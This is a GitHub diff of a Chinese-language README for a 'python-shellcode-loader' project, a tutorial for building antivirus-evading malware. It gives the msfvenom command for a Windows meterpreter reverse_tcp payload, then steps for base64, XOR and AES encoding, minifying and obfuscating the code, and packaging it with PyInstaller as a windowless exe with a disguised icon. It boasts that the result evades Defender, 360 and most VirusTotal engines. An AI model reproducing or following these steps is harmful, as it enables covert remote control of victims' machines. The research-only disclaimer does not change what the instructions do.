File tree Expand file tree Collapse file tree 1 file changed +73
-1
lines changed
Expand file tree Collapse file tree 1 file changed +73
-1
lines changed Original file line number Diff line number Diff line change 11# python-shellcode-loader
2- python免杀shellcode
2+
3+ 简单介绍
4+ 免杀方式 msfvenom生成raw格式的shellcode-->base64-->XOR-->AES
5+ 将python代码缩小并混淆最后生成exe
6+ 目前过DF、360和火绒 virustotal:7/66过卡巴斯基、迈克菲等
7+ 获取项目
8+ git clone https://github.com/HZzz2/python-shellcode-loader.git
9+ cd python-shellcode-loader
10+ 生成shellcode
11+ #生成shellcode
12+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw
13+ base64编码shellcode并替换jiami.py中的值
14+ #base64
15+ base64 -w 0 -i rev.raw > rev.bs64
16+ cat rev.bs64
17+ 复制base64的值替换jiami.py中payload 也就是 第二十五行 sc='payload'
18+ 加密base64并替换main.py中的值
19+ #加密base64后的shellcode
20+ python3 jiami.py
21+ #会生成一个aes-xor.txt的文件,复制文件里的值(经过XOR和AES加密后)
22+ 复制的值替换main.py中的payload 也就是第四十一行 jiami_sc='payload'
23+ 缩小和混淆py代码
24+ 缩小python代码
25+ pyminify main.py --output main-mini.py
26+ 混淆main-mini.py中的python代码
27+ https://pyob.oxyry.com/ 在线混淆
28+
29+ 将混淆后的代码保存到一个文件中,比如文件名为: main-mini-ob .py
30+ 打包成可执行文件exe
31+ #打包成exe
32+ pyinstaller.exe -Fw -i .\setting.ico --key=leslie .\main-mini-ob.py
33+ -F 打包为单文件 -w 不显示窗口 -i ico图标文件 --key 加密字节码的密钥
34+ 等待打包完成。。。。
35+ 打包好后的可执行程序在dist目录中
36+ 流程图
37+
38+ 检测图
39+
40+
41+
42+
43+
44+
45+
46+ 免责声明
47+ 仅供安全研究与教学之用,如果使用者将其做其他用途,由使用者承担全部法律及连带责任,本人不承担任何法律及连带责任。
48+
49+
50+
51+
52+
53+
54+
55+
56+
57+
58+
59+
60+
61+
62+
63+
64+
65+
66+
67+
68+
69+
70+
71+
72+
73+
74+
You can’t perform that action at this time.
0 commit comments